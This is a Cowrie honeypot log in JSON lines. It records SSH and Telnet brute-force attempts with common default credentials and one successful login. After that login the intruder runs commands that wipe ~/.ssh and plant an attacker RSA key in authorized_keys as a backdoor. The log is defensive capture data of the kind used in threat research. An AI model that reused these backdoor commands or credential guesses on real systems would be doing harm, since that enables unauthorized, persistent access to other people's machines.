{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:26.845093Z","src_ip":"176.65.132.129","session":"fd5002e1be24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:27.165695Z","src_ip":"176.65.132.129","session":"fd5002e1be24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:28.254956Z","src_ip":"176.65.132.129","session":"fd5002e1be24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":46246,"dst_ip":"159.203.135.109","dst_port":23,"session":"62abd9f4e95d","protocol":"telnet","message":"New connection: 64.227.82.147:46246 (159.203.135.109:23) [session: 62abd9f4e95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:28.444840Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42944,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ebce0356e6","protocol":"ssh","message":"New connection: 176.65.132.129:42944 (10.17.0.5:22) [session: a3ebce0356e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:30.086844Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:30.096539Z","src_ip":"176.65.132.129","session":"a3ebce0356e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:30.185665Z","src_ip":"176.65.132.129","session":"a3ebce0356e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:30.434231Z","src_ip":"176.65.132.129","session":"a3ebce0356e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":46256,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9b38879c4ae","protocol":"telnet","message":"New connection: 64.227.82.147:46256 (159.203.135.109:23) [session: b9b38879c4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:31.281358Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:31.644454Z","src_ip":"176.65.132.129","session":"a3ebce0356e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":58078,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fd93bde3c8c","protocol":"telnet","message":"New connection: 64.227.82.147:58078 (159.203.135.109:23) [session: 7fd93bde3c8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:32.558943Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":58092,"dst_ip":"159.203.135.109","dst_port":23,"session":"204eac678223","protocol":"telnet","message":"New connection: 64.227.82.147:58092 (159.203.135.109:23) [session: 204eac678223]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:32.623719Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":42946,"dst_ip":"10.17.0.5","dst_port":22,"session":"d411f6f579df","protocol":"ssh","message":"New connection: 176.65.132.129:42946 (10.17.0.5:22) [session: d411f6f579df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:33.470198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:33.474780Z","src_ip":"176.65.132.129","session":"d411f6f579df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:33.557842Z","src_ip":"176.65.132.129","session":"d411f6f579df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:33.807477Z","src_ip":"176.65.132.129","session":"d411f6f579df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:34.894303Z","src_ip":"176.65.132.129","session":"d411f6f579df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44650,"dst_ip":"10.17.0.5","dst_port":22,"session":"78e17fcfb9c3","protocol":"ssh","message":"New connection: 176.65.132.129:44650 (10.17.0.5:22) [session: 78e17fcfb9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.040280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.045114Z","src_ip":"176.65.132.129","session":"78e17fcfb9c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.131332Z","src_ip":"176.65.132.129","session":"78e17fcfb9c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"odoo17","message":"login attempt [odoo17/odoo17] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.383187Z","src_ip":"176.65.132.129","session":"78e17fcfb9c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.285465717315674,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.730194Z","src_ip":"64.227.82.147","session":"62abd9f4e95d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":48216,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2e962a03fe9","protocol":"ssh","message":"New connection: 167.172.73.9:48216 (10.17.0.5:22) [session: f2e962a03fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.976969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:37.981906Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:38.225899Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:38.469556Z","src_ip":"176.65.132.129","session":"78e17fcfb9c3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"12345qwert","message":"login attempt [oracle/12345qwert] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:39.238003Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:39.768449Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:39.771899Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:39.776477Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.030224Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":44652,"dst_ip":"10.17.0.5","dst_port":22,"session":"740401fca0b5","protocol":"ssh","message":"New connection: 176.65.132.129:44652 (10.17.0.5:22) [session: 740401fca0b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.322352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.327427Z","src_ip":"176.65.132.129","session":"740401fca0b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.410551Z","src_ip":"176.65.132.129","session":"740401fca0b5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.557580Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.561074Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.661767Z","src_ip":"176.65.132.129","session":"740401fca0b5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.813129Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:40.817513Z","src_ip":"167.172.73.9","session":"f2e962a03fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.73.9","src_port":48222,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b207ed639f3","protocol":"ssh","message":"New connection: 167.172.73.9:48222 (10.17.0.5:22) [session: 3b207ed639f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:41.054802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:41.059879Z","src_ip":"167.172.73.9","session":"3b207ed639f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:41.307347Z","src_ip":"167.172.73.9","session":"3b207ed639f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:54:41.801188Z","src_ip":"176.65.132.129","session":"740401fca0b5","protocol":"ssh"}
